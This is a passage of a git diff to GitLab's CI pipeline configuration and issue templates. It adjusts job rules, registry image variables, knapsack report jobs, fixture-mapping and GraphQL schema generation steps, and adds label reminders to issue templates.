+ needs: ["review-qa-all"]
+ variables:
+ KNAPSACK_REPORT_PATH: knapsack/gcs/review-qa-all.json
+
+knapsack-report-qa-reliable:
+ extends:
+ - .knapsack-upload-base
+ - .review:rules:knapsack-report-qa-reliable
+ needs: ["review-qa-reliable"]
+ variables:
+ KNAPSACK_REPORT_PATH: knapsack/gcs/review-qa-reliable.json
diff --git a/.gitlab/ci/review.gitlab-ci.yml b/.gitlab/ci/review.gitlab-ci.yml
index b2b8c456ae2..b90af076a56 100644
--- a/.gitlab/ci/review.gitlab-ci.yml
+++ b/.gitlab/ci/review.gitlab-ci.yml
@@ -2,23 +2,26 @@ review-cleanup:
extends:
- .default-retry
- .review:rules:review-cleanup
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-helm3-kubectl1.14
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:gitlab-helm3-kubectl1.14
stage: prepare
environment:
- name: review/auto-cleanup
+ name: review/${CI_COMMIT_REF_SLUG}${FREQUENCY}
action: stop
before_script:
- source scripts/utils.sh
+ - source scripts/review_apps/review-apps.sh
- source scripts/review_apps/gcp_cleanup.sh
- install_gitlab_gem
- setup_gcp_dependencies
script:
+ - delete_release
+ - delete_namespace
- ruby -rrubygems scripts/review_apps/automated_cleanup.rb
- gcp_cleanup
start-review-app-pipeline:
extends:
- - .review:rules:review-app-pipeline
+ - .review:rules:start-review-app-pipeline
stage: review
needs:
- job: build-assets-image
diff --git a/.gitlab/ci/rules.gitlab-ci.yml b/.gitlab/ci/rules.gitlab-ci.yml
index 50b1650e1d5..e62de4bc6dc 100644
--- a/.gitlab/ci/rules.gitlab-ci.yml
+++ b/.gitlab/ci/rules.gitlab-ci.yml
@@ -11,7 +11,7 @@
if: '$CI_PROJECT_NAME != "gitlab-foss" && $CI_PROJECT_NAME != "gitlab-ce" && $CI_PROJECT_NAME != "gitlabhq"'
.if-jh: &if-jh
- if: '$CI_PROJECT_PATH == "gitlab-jh/gitlab"'
+ if: '$CI_PROJECT_PATH =~ /^gitlab-(jh|cn)\/.*/'
.if-default-refs: &if-default-refs
if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH || $CI_COMMIT_REF_NAME =~ /^[\d-]+-stable(-ee)?$/ || $CI_COMMIT_REF_NAME =~ /^\d+-\d+-auto-deploy-\d+$/ || $CI_COMMIT_REF_NAME =~ /^security\// || $CI_MERGE_REQUEST_IID || $CI_COMMIT_TAG || $FORCE_GITLAB_CI'
@@ -67,6 +67,9 @@
.if-merge-request-labels-run-review-app: &if-merge-request-labels-run-review-app
if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:run-review-app/'
+.if-merge-request-labels-skip-undercoverage: &if-merge-request-labels-skip-undercoverage
+ if: '$CI_MERGE_REQUEST_LABELS =~ /pipeline:skip-undercoverage/'
+
.if-security-merge-request: &if-security-merge-request
if: '$CI_PROJECT_NAMESPACE == "gitlab-org/security" && $CI_MERGE_REQUEST_IID'
@@ -82,9 +85,6 @@
.if-dot-com-gitlab-org-schedule: &if-dot-com-gitlab-org-schedule
if: '$CI_SERVER_HOST == "gitlab.com" && $CI_PROJECT_NAMESPACE == "gitlab-org" && $CI_PIPELINE_SOURCE == "schedule"'
-.if-dot-com-gitlab-org-schedule-child-pipeline: &if-dot-com-gitlab-org-schedule-child-pipeline
- if: '$CI_SERVER_HOST == "gitlab.com" && $CI_PROJECT_NAMESPACE == "gitlab-org" && $CI_PIPELINE_SOURCE == "parent_pipeline" && $FREQUENCY'
-
.if-dot-com-ee-schedule: &if-dot-com-ee-schedule
if: '$CI_SERVER_HOST == "gitlab.com" && $CI_PROJECT_PATH == "gitlab-org/gitlab" && $CI_PIPELINE_SOURCE == "schedule"'
@@ -172,7 +172,7 @@
- "scripts/lint-doc.sh"
.docs-deprecations-patterns: &docs-deprecations-patterns
- - "doc/deprecations/index.md"
+ - "doc/update/deprecations.md"
- "data/deprecations/*.yml"
- "data/deprecations/templates/_deprecation_template.md.erb"
- "lib/tasks/gitlab/docs/compile_deprecations.rake"
@@ -271,6 +271,7 @@
- "danger/**/*"
- "{,ee/,jh/}fixtures/**/*"
- "{,ee/,jh/}rubocop/**/*"
+ - ".rubocop_todo/**/*.yml"
- "{,ee/,jh/}spec/**/*"
- "{,spec/}tooling/**/*"
@@ -288,7 +289,8 @@
- "Dockerfile.assets"
- "vendor/assets/**/*"
- ".{eslintignore,gitattributes,nvmrc,prettierrc,stylelintrc,yamllint}"
- - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo,rubocop_manual_todo}.yml"
+ - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo}.yml"
+ - ".rubocop_todo/**/*.yml"
- "*_VERSION"
- "{,jh/}Gemfile{,.lock}"
- "Rakefile"
@@ -311,7 +313,8 @@
- "Dockerfile.assets"
- "vendor/assets/**/*"
- ".{eslintignore,gitattributes,nvmrc,prettierrc,stylelintrc,yamllint}"
- - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo,rubocop_manual_todo}.yml"
+ - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo}.yml"
+ - ".rubocop_todo/**/*.yml"
- "*_VERSION"
- "{,jh/}Gemfile{,.lock}"
- "Rakefile"
@@ -341,7 +344,8 @@
- "Dockerfile.assets"
- "vendor/assets/**/*"
- ".{eslintignore,gitattributes,nvmrc,prettierrc,stylelintrc,yamllint}"
- - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo,rubocop_manual_todo}.yml"
+ - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo}.yml"
+ - ".rubocop_todo/**/*.yml"
- "*_VERSION"
- "{,jh/}Gemfile{,.lock}"
- "Rakefile"
@@ -367,7 +371,8 @@
- "Dockerfile.assets"
- "vendor/assets/**/*"
- ".{eslintignore,gitattributes,nvmrc,prettierrc,stylelintrc,yamllint}"
- - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo,rubocop_manual_todo}.yml"
+ - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo}.yml"
+ - ".rubocop_todo/**/*.yml"
- "*_VERSION"
- "{,jh/}Gemfile{,.lock}"
- "Rakefile"
@@ -400,7 +405,8 @@
- "Dockerfile.assets"
- "vendor/assets/**/*"
- ".{eslintignore,gitattributes,nvmrc,prettierrc,stylelintrc,yamllint}"
- - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo,rubocop_manual_todo}.yml"
+ - ".{codeclimate,eslintrc,gitlab-ci,haml-lint,haml-lint_todo,rubocop,rubocop_todo}.yml"
+ - ".rubocop_todo/**/*.yml"
- "*_VERSION"
- "{,jh/}Gemfile{,.lock}"
- "Rakefile"
@@ -642,8 +648,8 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *code-backstage-patterns
- - <<: *if-default-refs
- changes: *backend-patterns
+ - <<: *if-security-merge-request
+ changes: *code-backstage-patterns
- <<: *if-merge-request-not-approved
when: never
- <<: *if-default-refs
@@ -655,14 +661,13 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-jest
when: never
- <<: *if-default-refs
changes: *core-frontend-patterns
when: never
- - <<: *if-default-refs
- changes: *backend-patterns
- when: never
- <<: *if-merge-request
changes: *ci-patterns
when: never
@@ -785,11 +790,6 @@
changes: *feature-flag-development-config-patterns
allow_failure: true
-.qa:rules:reliable-reports:schedule:
- rules:
- - if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_PIPELINE_SOURCE == "schedule" && $QA_RELIABLE_REPORT == "true"'
- allow_failure: true
-
###############
# Rails rules #
###############
@@ -814,6 +814,8 @@
changes: *db-patterns
- <<: *if-automated-merge-request
changes: *db-patterns
+ - <<: *if-security-merge-request
+ changes: *db-patterns
- <<: *if-merge-request-not-approved
when: never
- changes: *db-patterns
@@ -824,6 +826,8 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-rspec
when: never
- <<: *if-merge-request
@@ -859,6 +863,8 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *backend-patterns
+ - <<: *if-security-merge-request
+ changes: *backend-patterns
- <<: *if-merge-request-not-approved
when: never
- changes: *backend-patterns
@@ -869,6 +875,8 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-rspec
when: never
- <<: *if-merge-request
@@ -889,6 +897,8 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *backend-patterns
+ - <<: *if-security-merge-request
+ changes: *backend-patterns
- <<: *if-merge-request-not-approved
when: never
- changes: *backend-patterns
@@ -899,6 +909,8 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-rspec
when: never
- <<: *if-merge-request
@@ -919,6 +931,8 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *code-backstage-patterns
+ - <<: *if-security-merge-request
+ changes: *code-backstage-patterns
- <<: *if-merge-request-not-approved
when: never
- changes: *code-backstage-patterns
@@ -929,6 +943,8 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-rspec
when: never
- <<: *if-merge-request
@@ -949,6 +965,8 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: ["config/**/*"]
+ - <<: *if-security-merge-request
+ changes: ["config/**/*"]
- <<: *if-merge-request-not-approved
when: never
- changes: ["config/**/*"]
@@ -959,6 +977,8 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-rspec
when: never
- <<: *if-merge-request
@@ -988,6 +1008,8 @@
changes: *db-patterns
- <<: *if-automated-merge-request
changes: *db-patterns
+ - <<: *if-security-merge-request
+ changes: *db-patterns
- <<: *if-merge-request-not-approved
when: never
- changes: *db-patterns
@@ -1000,6 +1022,8 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-rspec
when: never
- <<: *if-merge-request
@@ -1023,6 +1047,8 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *backend-patterns
+ - <<: *if-security-merge-request
+ changes: *backend-patterns
- <<: *if-merge-request-not-approved
when: never
- changes: *backend-patterns
@@ -1035,6 +1061,8 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-rspec
when: never
- <<: *if-merge-request
@@ -1057,6 +1085,8 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *backend-patterns
+ - <<: *if-security-merge-request
+ changes: *backend-patterns
- <<: *if-merge-request-not-approved
when: never
- changes: *backend-patterns
@@ -1069,6 +1099,8 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-rspec
when: never
- <<: *if-merge-request
@@ -1091,6 +1123,8 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *code-backstage-patterns
+ - <<: *if-security-merge-request
+ changes: *code-backstage-patterns
- <<: *if-merge-request-not-approved
when: never
- changes: *code-backstage-patterns
@@ -1103,6 +1137,8 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request-labels-run-all-rspec
when: never
- <<: *if-merge-request
@@ -1129,6 +1165,8 @@
changes: *db-patterns
- <<: *if-automated-merge-request
changes: *db-patterns
+ - <<: *if-security-merge-request
+ changes: *db-patterns
- <<: *if-merge-request-not-approved
when: never
@@ -1140,15 +1178,14 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request
changes: *core-backend-patterns
when: never
- <<: *if-merge-request
changes: *ci-patterns
when: never
- - <<: *if-security-merge-request
- changes: *db-patterns
- when: never
- <<: *if-merge-request-labels-as-if-foss
changes: *db-patterns
when: never
@@ -1164,10 +1201,10 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *backend-patterns
- - <<: *if-merge-request-not-approved
- when: never
- <<: *if-security-merge-request
changes: *backend-patterns
+ - <<: *if-merge-request-not-approved
+ when: never
- <<: *if-merge-request-labels-as-if-foss
changes: *backend-patterns
@@ -1179,14 +1216,14 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request
changes: *core-backend-patterns
when: never
- <<: *if-merge-request
changes: *ci-patterns
when: never
- - <<: *if-security-merge-request
- changes: *backend-patterns
- <<: *if-merge-request-labels-as-if-foss
changes: *backend-patterns
@@ -1201,10 +1238,10 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *backend-patterns
- - <<: *if-merge-request-not-approved
- when: never
- <<: *if-security-merge-request
changes: *backend-patterns
+ - <<: *if-merge-request-not-approved
+ when: never
- <<: *if-merge-request-labels-as-if-foss
changes: *backend-patterns
@@ -1216,14 +1253,14 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request
changes: *core-backend-patterns
when: never
- <<: *if-merge-request
changes: *ci-patterns
when: never
- - <<: *if-security-merge-request
- changes: *backend-patterns
- <<: *if-merge-request-labels-as-if-foss
changes: *backend-patterns
@@ -1238,10 +1275,10 @@
changes: *ci-patterns
- <<: *if-automated-merge-request
changes: *code-backstage-patterns
- - <<: *if-merge-request-not-approved
- when: never
- <<: *if-security-merge-request
changes: *code-backstage-patterns
+ - <<: *if-merge-request-not-approved
+ when: never
- <<: *if-merge-request-labels-as-if-foss
changes: *code-backstage-patterns
@@ -1253,14 +1290,14 @@
when: never
- <<: *if-automated-merge-request
when: never
+ - <<: *if-security-merge-request
+ when: never
- <<: *if-merge-request
changes: *core-backend-patterns
when: never
- <<: *if-merge-request
changes: *ci-patterns
when: never
- - <<: *if-security-merge-request
- changes: *code-backstage-patterns
- <<: *if-merge-request-labels-as-if-foss
changes: *code-backstage-patterns
@@ -1367,6 +1404,16 @@
- <<: *if-merge-request-labels-run-all-rspec
when: always
+.rails:rules:rspec-undercoverage:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-merge-request-labels-skip-undercoverage
+ when: never
+ - <<: *if-merge-request-labels-run-all-rspec
+ - <<: *if-merge-request
+ changes: *backend-patterns
+
.rails:rules:default-branch-schedule-nightly--code-backstage:
rules:
- <<: *if-default-branch-schedule-nightly
@@ -1556,7 +1603,7 @@
################
# Review rules #
################
-.review:rules:review-app-pipeline:
+.review:rules:start-review-app-pipeline:
rules:
- <<: *if-not-ee
when: never
@@ -1572,82 +1619,34 @@
- <<: *if-dot-com-gitlab-org-merge-request
changes: *qa-patterns
- <<: *if-dot-com-gitlab-org-schedule
+ variables:
+ KNAPSACK_GENERATE_REPORT: "true"
.review:rules:review-build-cng:
rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-merge-request-labels-run-review-app
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *ci-review-patterns
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *frontend-patterns
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-patterns
- allow_failure: true
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *qa-patterns
- - <<: *if-dot-com-gitlab-org-schedule-child-pipeline
+ - when: always
.review:rules:review-deploy:
rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-merge-request-labels-run-review-app
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *ci-review-patterns
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *frontend-patterns
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-patterns
- allow_failure: true
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *qa-patterns
- - <<: *if-dot-com-gitlab-org-schedule-child-pipeline
- allow_failure: true
+ - when: on_success
.review:rules:review-performance:
rules:
- if: '$DAST_RUN == "true"' # Skip this job when DAST is run
when: never
- - <<: *if-not-ee
- when: never
- - <<: *if-merge-request-labels-run-review-app
- - <<: *if-dot-com-gitlab-org-merge-request
+ - <<: *if-merge-request-labels-run-review-app # we explicitely don't allow the job to fail in that case
+ - <<: *if-dot-com-gitlab-org-merge-request # we explicitely don't allow the job to fail in that case
changes: *ci-review-patterns
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *frontend-patterns
- allow_failure: true
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-qa-patterns
- allow_failure: true
- - <<: *if-dot-com-gitlab-org-schedule-child-pipeline
+ - when: on_success
allow_failure: true
.review:rules:review-delete-deployment:
rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-merge-request-labels-run-review-app
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-qa-patterns
+ - when: on_success
.review:rules:review-qa-smoke:
rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-merge-request-labels-run-review-app
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *ci-review-patterns
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *frontend-patterns
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *qa-patterns
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-patterns
- allow_failure: true
- - <<: *if-dot-com-ee-schedule-child-pipeline
- allow_failure: true
+ - when: on_success
# The rule needs to be duplicated between `on_success` and `on_failure`
# because the jobs `needs` the previous job to complete.
@@ -1656,34 +1655,8 @@
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63844#note_599012559
.review:rules:review-qa-smoke-report:
rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-merge-request-labels-run-review-app
- when: on_success
- - <<: *if-merge-request-labels-run-review-app
- when: on_failure
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *ci-review-patterns
- when: on_success
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *ci-review-patterns
- when: on_failure
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *frontend-patterns
- when: on_success
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *frontend-patterns
- when: on_failure
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-qa-patterns
- when: on_success
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-qa-patterns
- when: on_failure
- - <<: *if-dot-com-ee-schedule-child-pipeline
- when: on_success
- - <<: *if-dot-com-ee-schedule-child-pipeline
- when: on_failure
+ - when: on_success
+ - when: on_failure
.review:rules:review-qa-reliable:
rules:
@@ -1692,17 +1665,12 @@
.review:rules:review-qa-all:
rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-merge-request-labels-run-review-app
+ - <<: *if-merge-request-labels-run-review-app # we explicitely don't allow the job to fail in that case
- <<: *if-dot-com-gitlab-org-merge-request
changes: *code-patterns
when: manual
- allow_failure: true
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *qa-patterns
- allow_failure: true
- - <<: *if-dot-com-ee-nightly-schedule-child-pipeline
+ allow_failure: true # manual jobs needs to be allowd to fail, otherwise they block the pipeline
+ - when: on_success
allow_failure: true
# The rule needs to be duplicated between `on_success` and `on_failure`
@@ -1712,29 +1680,23 @@
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63844#note_599012559
.review:rules:review-qa-all-report:
rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-merge-request-labels-run-review-app
- when: on_success
- - <<: *if-merge-request-labels-run-review-app
- when: on_failure
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-patterns
- when: manual
- allow_failure: true
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *qa-patterns
- when: on_success
+ - when: on_success
allow_failure: true
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *qa-patterns
- when: on_failure
+ - when: on_failure
allow_failure: true
- - <<: *if-dot-com-ee-nightly-schedule-child-pipeline
+
+# Generate knapsack report on successful runs only
+# Reliable suite will pass most of the time so this should yield best distribution
+.review:rules:knapsack-report-qa-reliable:
+ rules:
+ - if: '$KNAPSACK_GENERATE_REPORT == "true"'
when: on_success
allow_failure: true
- - <<: *if-dot-com-ee-nightly-schedule-child-pipeline
- when: on_failure
+
+.review:rules:knapsack-report-qa-all:
+ rules:
+ - if: '$KNAPSACK_GENERATE_REPORT == "true"'
+ when: always
allow_failure: true
.review:rules:review-cleanup:
@@ -1750,23 +1712,16 @@
.review:rules:review-stop:
rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-merge-request-labels-run-review-app
- when: manual
- allow_failure: true
- - <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-qa-patterns
- when: manual
+ - when: manual
allow_failure: true
.review:rules:danger:
rules:
- - if: '$CI_MERGE_REQUEST_IID'
+ - <<: *if-merge-request
.review:rules:danger-local:
rules:
- - if: '$CI_MERGE_REQUEST_IID'
+ - <<: *if-merge-request
changes: *danger-patterns
###############
@@ -1819,6 +1774,16 @@
changes: *code-backstage-patterns
when: on_success
+.setup:rules:generate-frontend-fixtures-mapping:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-dot-com-ee-2-hourly-schedule
+ - changes:
+ - ".gitlab/ci/setup.gitlab-ci.yml"
+ - ".gitlab/ci/test-metadata.gitlab-ci.yml"
+ - "scripts/rspec_helpers.sh"
+
.setup:rules:add-jh-folder:
rules:
- <<: *if-not-ee
diff --git a/.gitlab/ci/setup.gitlab-ci.yml b/.gitlab/ci/setup.gitlab-ci.yml
index 4c674f38939..1eb3bd2ea41 100644
--- a/.gitlab/ci/setup.gitlab-ci.yml
+++ b/.gitlab/ci/setup.gitlab-ci.yml
@@ -68,6 +68,24 @@ verify-tests-yml:
- install_tff_gem
- scripts/verify-tff-mapping
+generate-frontend-fixtures-mapping:
+ extends:
+ - .setup:rules:generate-frontend-fixtures-mapping
+ - .use-pg12
+ - .rails-cache
+ needs: ["setup-test-env"]
+ stage: prepare
+ before_script:
+ - !reference [.default-before_script, before_script]
+ - source ./scripts/rspec_helpers.sh
+ - run_timed_command "scripts/gitaly-test-spawn"
+ script:
+ - generate_frontend_fixtures_mapping
+ artifacts:
+ expire_in: 7d
+ paths:
+ - ${FRONTEND_FIXTURES_MAPPING_PATH}
+
.detect-test-base:
image: ${GITLAB_DEPENDENCY_PROXY}ruby:2.7
needs: []
@@ -78,17 +96,21 @@ verify-tests-yml:
- install_gitlab_gem
- install_tff_gem
- retrieve_tests_mapping
+ - retrieve_frontend_fixtures_mapping
- |
if [ -n "$CI_MERGE_REQUEST_IID" ]; then
tooling/bin/find_changes ${CHANGES_FILE};
tooling/bin/find_tests ${CHANGES_FILE} ${MATCHED_TESTS_FILE};
- echo "related rspec tests: $(cat $MATCHED_TESTS_FILE)";
+ tooling/bin/find_changes ${CHANGES_FILE} ${MATCHED_TESTS_FILE} ${FRONTEND_FIXTURES_MAPPING_PATH};
+ echo "Changed files: $(cat $CHANGES_FILE)";
+ echo "Related rspec tests: $(cat $MATCHED_TESTS_FILE)";
fi
artifacts:
expire_in: 7d
paths:
- ${CHANGES_FILE}
- ${MATCHED_TESTS_FILE}
+ - ${FRONTEND_FIXTURES_MAPPING_PATH}
detect-tests:
extends:
diff --git a/.gitlab/ci/static-analysis.gitlab-ci.yml b/.gitlab/ci/static-analysis.gitlab-ci.yml
index ebd223c4171..a5cc02303f3 100644
--- a/.gitlab/ci/static-analysis.gitlab-ci.yml
+++ b/.gitlab/ci/static-analysis.gitlab-ci.yml
@@ -10,6 +10,7 @@
# Disable warnings in browserslist which can break on backports
# https://github.com/browserslist/browserslist/blob/a287ec6/node.js#L367-L384
BROWSERSLIST_IGNORE_OLD_DATA: "true"
+ GRAPHQL_SCHEMA_APOLLO_FILE: "tmp/tests/graphql/gitlab_schema_apollo.graphql"
update-static-analysis-cache:
extends:
@@ -47,17 +48,34 @@ static-verification-with-database:
variables:
SETUP_DB: "true"
+generate-apollo-graphl-schema:
+ extends:
+ - .static-analysis-base
+ - .frontend:rules:default-frontend-jobs
+ image:
+ name: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:apollo
+ entrypoint: [""]
+ needs: ['graphql-schema-dump']
+ variables:
+ USE_BUNDLE_INSTALL: "false"
+ script:
+ - apollo client:download-schema --config=config/apollo.config.js ${GRAPHQL_SCHEMA_APOLLO_FILE}
+ artifacts:
+ name: graphql-schema-apollo
+ paths:
+ - "${GRAPHQL_SCHEMA_APOLLO_FILE}"
+
eslint:
extends:
- .static-analysis-base
- .yarn-cache
- - .static-analysis:rules:ee
- needs: []
+ - .frontend:rules:default-frontend-jobs
+ needs: ['generate-apollo-graphl-schema']
variables:
USE_BUNDLE_INSTALL: "false"
script:
- run_timed_command "retry yarn install --frozen-lockfile"
- - run_timed_command "yarn run lint:eslint:all"
+ - run_timed_command "yarn run lint:eslint:all --parser-options=schema:${GRAPHQL_SCHEMA_APOLLO_FILE}"
eslint as-if-foss:
extends:
diff --git a/.gitlab/ci/test-metadata.gitlab-ci.yml b/.gitlab/ci/test-metadata.gitlab-ci.yml
index 2d96fb6d4b0..d0d45cb9294 100644
--- a/.gitlab/ci/test-metadata.gitlab-ci.yml
+++ b/.gitlab/ci/test-metadata.gitlab-ci.yml
@@ -8,7 +8,7 @@
- knapsack/
- rspec_flaky/
- rspec_profiling/
- - crystalball/packed-mapping.json.gz
+ - crystalball/
retrieve-tests-metadata:
extends:
@@ -27,6 +27,7 @@ update-tests-metadata:
stage: post-test
dependencies:
- retrieve-tests-metadata
+ - generate-frontend-fixtures-mapping
- setup-test-env
- rspec migration pg12
- rspec-all frontend_fixture
diff --git a/.gitlab/ci/workhorse.gitlab-ci.yml b/.gitlab/ci/workhorse.gitlab-ci.yml
index 47b5d29ab8e..cd53adc6d4b 100644
--- a/.gitlab/ci/workhorse.gitlab-ci.yml
+++ b/.gitlab/ci/workhorse.gitlab-ci.yml
@@ -22,8 +22,8 @@ workhorse:verify:
workhorse:test using go 1.16:
extends: .workhorse:test
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7-golang-1.16-git-2.31
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7-golang-1.16-git-2.31
workhorse:test using go 1.17:
extends: .workhorse:test
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7-golang-1.17-git-2.31
+ image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images:ruby-2.7-golang-1.17-git-2.31
diff --git a/.gitlab/issue_templates/Deprecations.md b/.gitlab/issue_templates/Deprecations.md
index caef5c64334..85db4314233 100644
--- a/.gitlab/issue_templates/Deprecations.md
+++ b/.gitlab/issue_templates/Deprecations.md
@@ -12,7 +12,10 @@ The description of the deprecation should state what actions the user should tak
### Breaking Change
-<!-- Is this a breaking change or not? If so, please add instructions for how users can update their workflow. -->
+<!-- Does this MR contain a breaking change? If yes:
+- Add the ~"breaking change" label to this issue.
+- Add instructions for how users can update their workflow. -->
+
### Affected Topology
<!--
@@ -52,3 +55,20 @@ Which tier is this feature available in?
<!--
Add links to any relevant documentation or code that will provide additional details or clarity regarding the planned change. Also, include a link to the removal issue if relevant.
-->
+
+<!-- Label reminders - you should have one of each of the following labels.
+Use the following resources to find the appropriate labels:
+- https://gitlab.com/gitlab-org/gitlab/-/labels
+- https://about.gitlab.com/handbook/product/categories/features/
+-->
+
+<!-- Populate the Section, Group, and Category -->
+/label ~devops:: ~group: ~Category:
+
+<!-- Choose the Pricing Tier(s) -->
+/label ~"GitLab Free" ~"GitLab Premium" ~"GitLab Ultimate"
+
+<!-- Identifies that this Issue is related to deprecating a feature -->
+/label ~"type::deprecation"
+
+<!-- Add the ~"breaking change" label to this issue if necessary --> \ No newline at end of file
diff --git a/.gitlab/issue_templates/Experiment Implementation.md b/.gitlab/issue_templates/Experiment Implementation.md
index b3883f08c25..fc6cfbb27fa 100644
--- a/.gitlab/issue_templates/Experiment Implementation.md
+++ b/.gitlab/issue_templates/Experiment Implementation.md
@@ -20,6 +20,6 @@
- [json schema](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_experiment/jsonschema/0-3-0) used in `gitlab-experiment` tracking.
- see [taxonomy](https://docs.gitlab.com/ee/development/snowplow/index.html#structured-event-taxonomy) for a guide.
-| activity | category | action | label | context | property | value |
+| sequence | activity | category | action | label | property | value |
| -------- | -------- | ------ | ----- | ------- | -------- | ----- |
-| | | | | json schema | | |
+| | | | | | | |
diff --git a/.gitlab/issue_templates/Experiment Rollout.md b/.gitlab/issue_templates/Experiment Rollout.md
index 9209423ba33..a7d6b46220e 100644
--- a/.gitlab/issue_templates/Experiment Rollout.md
+++ b/.gitlab/issue_templates/Experiment Rollout.md
@@ -82,7 +82,7 @@ In this rollout issue, ensure the scoped `experiment::` label is kept accurate.
## Roll Out Steps
-- [ ] Confirm that QA tests pass with the feature flag enabled (if you're unsure how, contact the relevant [stable counterpart in the Quality department](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors))
